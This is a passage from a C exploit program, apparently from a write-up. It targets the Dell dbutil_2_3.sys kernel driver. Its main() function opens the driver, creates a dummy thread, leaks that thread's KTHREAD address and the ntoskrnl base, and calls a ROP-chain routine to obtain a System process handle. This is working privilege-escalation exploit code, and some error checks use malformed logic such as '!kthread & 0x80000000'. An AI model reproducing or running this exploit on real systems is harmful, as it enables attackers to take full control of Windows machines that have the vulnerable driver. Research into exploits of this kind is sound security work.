	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.ee for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakStack()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

Peace, love, and positivity :-).

❌
❌